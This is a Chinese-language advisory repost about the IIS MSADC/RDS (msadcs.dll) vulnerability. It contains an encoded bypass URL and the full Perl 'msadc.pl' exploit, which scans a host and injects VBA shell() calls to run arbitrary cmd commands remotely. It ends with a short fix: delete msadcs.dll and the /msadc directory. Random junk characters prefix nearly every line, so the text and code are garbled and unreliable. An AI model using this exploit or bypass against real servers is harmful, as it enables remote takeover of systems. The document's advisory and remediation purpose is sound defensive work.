IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zD#$]?@ b #?x!:i $- 涉及程序：
Ck:RlF[6C Microsoft NT server
2TFb!?/RQ #&V7C YJ 描述：
k#eH
Q! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
mS\ gh)<h LtIR)EtB] 详细：
D4@ ).% 如果你没有时间读详细内容的话，就删除:
r 6.`9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
H7`JqS 有关的安全问题就没有了。
[Lck 55V+Q xq6
eu
9 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&a;{e d1B !,Ou:E?Bb 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
uDtml$9rN 关于利用ODBC远程漏洞的描述，请参看:
nt 9LBea zd%n)jlwR http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Lud[.>i f ZEyX b 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
A-n@:` n~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7+N0$0w%r lu_kir~ 这里不再论述。
2 m"2>gX ;mT|0&o># 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
*B4?(&0 'E\ /H17 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.Us)YVbk 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
HZINsIm!? { l
E\y9 0W_olnZ #将下面这段保存为txt文件，然后: "perl -x 文件名"
q8m{zSr WGmXq. #!perl
gGaA;YW1 #
8v<80 2 # MSADC/RDS 'usage' (aka exploit) script
)WBp.j /# #
FT F`-}Hz # by rain.forest.puppy
{[|je ]3v #
l|k Gp~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ftb .CPWI # beta test and find errors!
T!f+H?6 8"'Z0
Ey use Socket; use Getopt::Std;
xK*G'3Ge getopts("e:vd:h:XR", \%args);
{PGiNY%q u=6LPwiI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Y)O88C ugu|?z*dI if (!defined $args{h} && !defined $args{R}) {
k)3b0T@b print qq~
x?"+Or.h Usage: msadc.pl -h <host> { -d <delay> -X -v }
dguN<yS- E -h <host> = host you want to scan (ip or domain)
ut*sx9 l -d <seconds> = delay between calls, default 1 second
g=gM}`X% -X = dump Index Server path table, if available
]| xfKDu -v = verbose
AjYvYMA& -e = external dictionary file for step 5
(]@yDb4 5c Uz^ > Or a -R will resume a command session
; b`kN;s =x
xN3Ay ~; exit;}
MdC}!& W ;a j4V<@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.OM^@V~T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3wYhDxY1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
g[c_rty if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
|j2$ G~B6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
K^ 5 f
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}R9>1u}6
rq#\x{l if (!defined $args{R}){ $ret = &has_msadc;
W"
i3:r die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
`
t6|09e [mcER4]} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;R W0Dn)Q . "cmd /c ";
I^G Z9 @UE $in=<STDIN>; chomp $in;
qNuBK6E#4 $command="cmd /c " . $in ;
I.6
qA * ,
3&D A if (defined $args{R}) {&load; exit;}
#?h-<KQQ S'_2 o?fs print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TpGnSD &try_btcustmr;
6/dP)"a(' WHy
r;m3) print "\nStep 2: Trying to make our own DSN...";
3j6Am{9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?mp}_x#= #rI4\K print "\nStep 3: Trying known DSNs...";
)p`zN=t &known_dsn;
`C&@6{L PL |ea~/ print "\nStep 4: Trying known .mdbs...";
jmBsPSGIC &known_mdb;
? APCDZ^ &SW~4 {n: if (defined $args{e}){
4T>d%Tt+) print "\nStep 5: Trying dictionary of DSN names...";
hnnVp_<] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jm`{MzqL $xqX[ocor print "Sorry Charley...maybe next time?\n";
D~zk2 exit;
g QYs, / tG[pg{[ ##############################################################################
+C36OcmT~ ROr|n]aJj sub sendraw { # ripped and modded from whisker
nIqNhJ+ sleep($delay); # it's a DoS on the server! At least on mine...
ts /Ha*h my ($pstr)=@_;
6hO]eS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S } 3? die("Socket problems\n");
c6Z"6-}$ if(connect(S,pack "SnA4x8",2,80,$target)){
s$Vz 1B select(S); $|=1;
ZA7b;{o [ print $pstr; my @in=<S>;
>sGiDK @ select(STDOUT); close(S);
"rnVPHnQR return @in;
W|L#Q/
RX } else { die("Can't connect...\n"); }}
r'< !wp@ ,UNnz&H+f ##############################################################################
NtG^t}V `D? &) Y sub make_header { # make the HTTP request
#G]g my $msadc=<<EOT
O %1uBc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2dCD.9 s9~ User-Agent: ACTIVEDATA
EX/{W$
&K Host: $ip
f;%=S:3 Content-Length: $clen
3z0 %uY[e Connection: Keep-Alive
XI>HC'.0 $}JWJ\-] ADCClientVersion:01.06
>x*ef]aS Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d$HPpi1LL ATF>"Ux --!ADM!ROX!YOUR!WORLD!
w\1K.j=>|N Content-Type: application/x-varg
LO;6g~(1 Content-Length: $reqlen
xz-?sD/xe Sg<
B+u\\ EOT
6J<R;g23R] ; $msadc=~s/\n/\r\n/g;
*o=[p2d"X return $msadc;}
&9EcgazV ] Jn rs ##############################################################################
W+i&!' Y^QG\6q sub make_req { # make the RDS request
3~\,VO'' my ($switch, $p1, $p2)=@_;
H}cq|hodn my $req=""; my $t1, $t2, $query, $dsn;
b"y4-KV .wPI %5D if ($switch==1){ # this is the btcustmr.mdb query
{XH3zMk[ $query="Select * from Customers where City=" . make_shell();
k !V@Q!>, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
K2 gF;( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Z4dl'v)9 pwVaSnre` elsif ($switch==2){ # this is general make table query
39bw,lRPV $query="create table AZZ (B int, C varchar(10))";
=@P]eK/ $dsn="$p1";}
I&f!>y?,Z G4^6o[ x elsif ($switch==3){ # this is general exploit table query
i|xC#hV $query="select * from AZZ where C=" . make_shell();
!
Q8y]9O $dsn="$p1";}
g~XR#vl$ |qf ef & elsif ($switch==4){ # attempt to hork file info from index server
bh+m_$X~ $query="select path from scope()";
pB0 SCS* $dsn="Provider=MSIDXS;";}
:pLaxWus! EGzlRSgO elsif ($switch==5){ # bad query
A3.*d:A $query="select";
n^Q-K}!T/ $dsn="$p1";}
O jH"qi s;#,c( $t1= make_unicode($query);
G%>{Z?!B $t2= make_unicode($dsn);
]VaMulb4 $req = "\x02\x00\x03\x00";
Pp.] /; $req.= "\x08\x00" . pack ("S1", length($t1));
"}2I0tM $req.= "\x00\x00" . $t1 ;
:Q}Zb,32 $req.= "\x08\x00" . pack ("S1", length($t2));
< =!FB8 . $req.= "\x00\x00" . $t2 ;
" %w E>E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
L|p+;ex return $req;}
EU by QL Bo;{ QoB ##############################################################################
3F$N@K~s \F14]`i sub make_shell { # this makes the shell() statement
ZyV^d3F@$ return "'|shell(\"$command\")|'";}
Y/f8rN Z fd `Fu ##############################################################################
XrJLlH>R4 ~En]sj sub make_unicode { # quick little function to convert to unicode
WO*dO9O my ($in)=@_; my $out;
PY#_$ C for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
l6N"{iXU return $out;}
B D [<>Wm s8;*Wt ##############################################################################
-YS9u [
7w}]9wCN? sub rdo_success { # checks for RDO return success (this is kludge)
W^i[7 r my (@in) = @_; my $base=content_start(@in);
A#gy[.Bb if($in[$base]=~/multipart\/mixed/){
eC@b-q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;pqS|ayl return 0;}
h*?]A fs2y$HN ##############################################################################
,WE2MAjhT P:UR:y([ sub make_dsn { # this makes a DSN for us
NCVhWD21| my @drives=("c","d","e","f");
ywj'O
e41 print "\nMaking DSN: ";
>VJ"e` foreach $drive (@drives) {
QO %;%p* print "$drive: ";
C YdYa| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6M [OEI5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Bqw/\Lxwlf . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
SP4(yJ y& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P&Wf.qr{: return 0 if $2 eq "404"; # not found/doesn't exist
SmV }Wf if($2 eq "200") {
*t`=1Ioj foreach $line (@results) {
VuuF _y; return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
oGL2uQX X } return 0;}
l - ~PX 'OU`$K7n ##############################################################################
zo r 6%MM)Vj+u sub verify_exists {
Wu)An my ($page)=@_;
0U ! _ o2] my @results=sendraw("GET $page HTTP/1.0\n\n");
>vDi, qmZ return $results[0];}
]) #?rRw ]Aj5 K ##############################################################################
ITZ}$=
{5 (M sub try_btcustmr {
}^`5$HEi my @drives=("c","d","e","f");
EJ(z]M`f my @dirs=("winnt","winnt35","winnt351","win","windows");
NW` Mc& M&K JZ foreach $dir (@dirs) {
/}S1e P6 print "$dir -> "; # fun status so you can see progress
V]/ $ dJ foreach $drive (@drives) {
:/6u* HwZh print "$drive: "; # ditto
>f p_$bjd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
R#Z
m[S $reqlenlen=length( "$reqlen" );
6%&DJBU! $clen= 206 + $reqlenlen + $reqlen;
awSi0*d~ J!H)[~2/ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_xM3c&VeG if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7b(r'b@N else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$ Zj3#l:rK @eP(j@(^ ##############################################################################
8aVj@x$' w} ?, N sub odbc_error {
1~S'' [ my (@in)=@_; my $base;
0NXaAf:2Z my $base = content_start(@in);
:MG Ip%3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=/ 19 -Y: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
} ok'd=M $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EV_u8?va $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/a\]Dwj5 return $in[$base+4].$in[$base+5].$in[$base+6];}
k;HI -v print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gyob q'o- print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>1q:-^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5KW
n >n 6>[J^k%~w) ##############################################################################
L"}2Y 3 \cQ+ 9e) sub verbose {
W,.Exh my ($in)=@_;
x) R4_ 3 return if !$verbose;
Q7_#k66gb7 print STDOUT "\n$in\n";}
.8XkB<[wb 9L>ep&u)^ ##############################################################################
uExYgI`<%& !X1
KOG sub save {
=g)SZK my ($p1, $p2, $p3, $p4)=@_;
Nk?L<' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ht*;,[ea print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
JQSczE3 close OUT;}
ZBjb f_M: O*9d[jw[ ##############################################################################
E :UJ"6 j:0<
tj E sub load {
~(eD 4" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vH@b open(IN,"<rds.save") || die("Couldn't open rds.save\n");
G4"n`89LK @p=<IN>; close(IN);
Se [>z( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&zHY0fxX $target= inet_aton($ip) || die("inet_aton problems");
fjHd"!)3 print "Resuming to $ip ...";
c $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>t4<2|!(M if($p[1]==1) {
*- @@t+3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Pk:b:(4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+Rq]_ sDu my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Q S<)* if (rdo_success(@results)){print "Success!\n";}
V# JuNJ else { print "failed\n"; verbose(odbc_error(@results));}}
2K 2_- elsif ($p[1]==3){
M2M &L,/O if(run_query("$p[3]")){
/?S,u,R print "Success!\n";} else { print "failed\n"; }}
"gt*k# elsif ($p[1]==4){
'3B7F5uLx" if(run_query($drvst . "$p[3]")){
Lp{/ print "Success!\n"; } else { print "failed\n"; }}
on f7V exit;}
]"i^ VVw #3YYE5cB ##############################################################################
]gVW&3ZW i7`/ "5I sub create_table {
z"Wyf6H0T my ($in)=@_;
ZU5; w $reqlen=length( make_req(2,$in,"") ) - 28;
8[IR ;gZf $reqlenlen=length( "$reqlen" );
<4*)J9V^s= $clen= 206 + $reqlenlen + $reqlen;
)Nl xW5 my @results=sendraw(make_header() . make_req(2,$in,""));
WU6F-{M"? return 1 if rdo_success(@results);
PBAQ
KQ my $temp= odbc_error(@results); verbose($temp);
'L2[^i F9 return 1 if $temp=~/Table 'AZZ' already exists/;
Jy0(g T return 0;}
|qb-iXW= &IFXU2t} ##############################################################################
":L d}~> Ar`U / %Cu sub known_dsn {
BsYJIKfW # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Rc~63![O. my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,772$7 x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"=UhTE "banner", "banners", "ads", "ADCDemo", "ADCTest");
|w.5*]?H da$ErN '{ foreach $dSn (@dsns) {
_x<7^^VT print ".";
KvlLcE~`o next if (!is_access("DSN=$dSn"));
jo"zd b if(create_table("DSN=$dSn")){
nc :K!7: print "$dSn successful\n";
#|6M*;l N| if(run_query("DSN=$dSn")){
t8Giv 89{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3EyVoS6D print "Something's borked. Use verbose next time\n";}}} print "\n";}
m"vWu0/# uD4$<rSHb ##############################################################################
l6-%)6u> j8?rMD~ sub is_access {
Ki%RSW(_` my ($in)=@_;
OZno 3Hn $reqlen=length( make_req(5,$in,"") ) - 28;
xOc&n0}% $reqlenlen=length( "$reqlen" );
DC=XPn/V $clen= 206 + $reqlenlen + $reqlen;
&DWSu`z my @results=sendraw(make_header() . make_req(5,$in,""));
,>3|\4/ Q my $temp= odbc_error(@results);
=Ka :i> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
} BnPNc[I return 0;}
z?( QM :
II(P ##############################################################################
S[RVk=A1 8&v%>wxR@ sub run_query {
{Pe+d3Eoo my ($in)=@_;
bYy7Ul6] $reqlen=length( make_req(3,$in,"") ) - 28;
p; LF-R $reqlenlen=length( "$reqlen" );
b IZi3GmRF $clen= 206 + $reqlenlen + $reqlen;
2%@<A my @results=sendraw(make_header() . make_req(3,$in,""));
@;{iCVW return 1 if rdo_success(@results);
Ryi% } ! my $temp= odbc_error(@results); verbose($temp);
,/..f!bp return 0;}
sT>l ?L j.UO>1{7 ##############################################################################
t/a t<zn z6 sub known_mdb {
}E\u2] my @drives=("c","d","e","f","g");
TuzH'F my @dirs=("winnt","winnt35","winnt351","win","windows");
;V4f6[<]'z my $dir, $drive, $mdb;
s6_[H my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
E=l^&[dIl ~ tqDh( # this is sparse, because I don't know of many
]}BT'fky# my @sysmdbs=( "\\catroot\\icatalog.mdb",
t +n+ _X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
f_ Uw IP "\\system32\\certmdb.mdb",
I=}R
Z9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H)i%\7F5 PYW> my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
CR`}{?2H "\\cfusion\\cfapps\\forums\\forums_.mdb",
R TeG\U "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]s~%1bd
"\\cfusion\\cfapps\\security\\realm_.mdb",
%s[
n2w "\\cfusion\\cfapps\\security\\data\\realm.mdb",
u'aWvN y+ "\\cfusion\\database\\cfexamples.mdb",
>w |2 ~oK "\\cfusion\\database\\cfsnippets.mdb",
8\CmM\R "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:tB Zu%N/N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d ]Mj r2h "\\cfusion\\brighttiger\\database\\cleam.mdb",
F6-U{+KU$! "\\cfusion\\database\\smpolicy.mdb",
be~'}`> "\\cfusion\\database\cypress.mdb",
Bc51
0I$c "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<84d
Vg "\\website\\cgi-win\\dbsample.mdb",
}G 1hB#j "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
XN~r d,MZ% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_u8d`7$*% ); #these are just
"9!CsloWhz foreach $drive (@drives) {
Z+ C&?K foreach $dir (@dirs){
GsC4ty foreach $mdb (@sysmdbs) {
ri1:q.:I] print ".";
TS;?>J- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
|&H( skF_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z|i2M8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
XB\n4 |4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.l~g`._ } else { print "Something's borked. Use verbose next time\n"; }}}}}
/SQ1i}% u zWz+atH foreach $drive (@drives) {
s@5r}6?M foreach $mdb (@mdbs) {
IP l]$j>N print ".";
VHTr;(]hk if(create_table($drv . $drive . $dir . $mdb)){
+v"%@lC}; print "\n" . $drive . $dir . $mdb . " successful\n";
q<w Q/m if(run_query($drv . $drive . $dir . $mdb)){
qn~ :B7f print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5`[B:<E4 } else { print "Something's borked. Use verbose next time\n"; }}}}
w1
tg7^(@ }
Q)}z$h55 V tJy E} ##############################################################################
i{6wns?KMj |iB
svI: sub hork_idx {
XLsOn(U\& print "\nAttempting to dump Index Server tables...\n";
doV+u(J~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Z1M{5E $reqlen=length( make_req(4,"","") ) - 28;
$#d. @JWi $reqlenlen=length( "$reqlen" );
W1p5F\ wt $clen= 206 + $reqlenlen + $reqlen;
-O?&+xIK& my @results=sendraw2(make_header() . make_req(4,"",""));
J1{ucF a if (rdo_success(@results)){
>X-*Hu'U# my $max=@results; my $c; my %d;
,{u' 7p for($c=19; $c<$max; $c++){
-K%~2M< $results[$c]=~s/\x00//g;
A0 1 D-) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
wv_<be[?* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
n ^_B0Rkv $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Z^yhSbE{5 $d{"$1$2"}="";}
.?p\=C@C+ foreach $c (keys %d){ print "$c\n"; }
rty&\u @} } else {print "Index server doesn't seem to be installed.\n"; }}
Z;nUS,?om !x1ivP ##############################################################################
s+XDtO h ZNA I sub dsn_dict {
f3HleA&& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
xEvm>BZi
while(<IN>){
T&~7*j(|e $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
xl;0&/7e next if (!is_access("DSN=$dSn"));
c %.vI if(create_table("DSN=$dSn")){
\h 1 T/_4 print "$dSn successful\n";
l T ~A~O if(run_query("DSN=$dSn")){
]<?7Cp P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
m L[Y{t#N print "Something's borked. Use verbose next time\n";}}}
* IBCThj print "\n"; close(IN);}
k>q}: J9V ?br 4 wl ##############################################################################
[u}2xsS x &%`Y>\@f sub sendraw2 { # ripped and modded from whisker
/f)
#CR0$ sleep($delay); # it's a DoS on the server! At least on mine...
It3. my ($pstr)=@_;
61{IXx_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F_C_K"[s die("Socket problems\n");
*;y n_zg if(connect(S,pack "SnA4x8",2,80,$target)){
[*AWCV print "Connected. Getting data";
{kp^@ open(OUT,">raw.out"); my @in;
%e' Z.vm select(S); $|=1; print $pstr;
, 1` -u$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
2%(RB 4+ close(OUT); select(STDOUT); close(S); return @in;
B!zqvShF } else { die("Can't connect...\n"); }}
<tp#KZE u.Z,HsEO b ##############################################################################
@O%d2bgEWV ;IYH5sG{ sub content_start { # this will take in the server headers
KK4"H ]!. my (@in)=@_; my $c;
*QT|J 6ng for ($c=1;$c<500;$c++) {
nH % 1lD?: if($in[$c] =~/^\x0d\x0a/){
y OLqIvN if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
BbdJR]N/!h else { return $c+1; }}}
&i%1\ o return -1;} # it should never get here actually
sCE2 F_xjL ;5wr5H3 ##############################################################################
h1 ( MvEt #-Ad0/ sub funky {
gaXKP1m^ my (@in)=@_; my $error=odbc_error(@in);
;_hL if($error=~/ADO could not find the specified provider/){
O F CA~sR print "\nServer returned an ADO miscofiguration message\nAborting.\n";
v5N2$Sqp* exit;}
jwd {CN% if($error=~/A Handler is required/){
c/\$AJV.H print "\nServer has custom handler filters (they most likely are patched)\n";
# \)tz z exit;}
yL>wCD,L if($error=~/specified Handler has denied Access/){
t=Um@;wh print "\nServer has custom handler filters (they most likely are patched)\n";
,t=1 2R]> exit;}}
4]/i0\Vbam p3YF ##############################################################################
=ap6IVR =YRN" sub has_msadc {
Lc:DJA my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
oK3aW6 my $base=content_start(@results);
78i" 3Tm)w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Hz6yy* return 0;}
g2'Q )w t[- 0/-4 ########################
HAr_z@#E }.R].4gT (&a<6k 解决方案：
WgK |r~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
WDdp(< 2、移除web 目录: /msadc
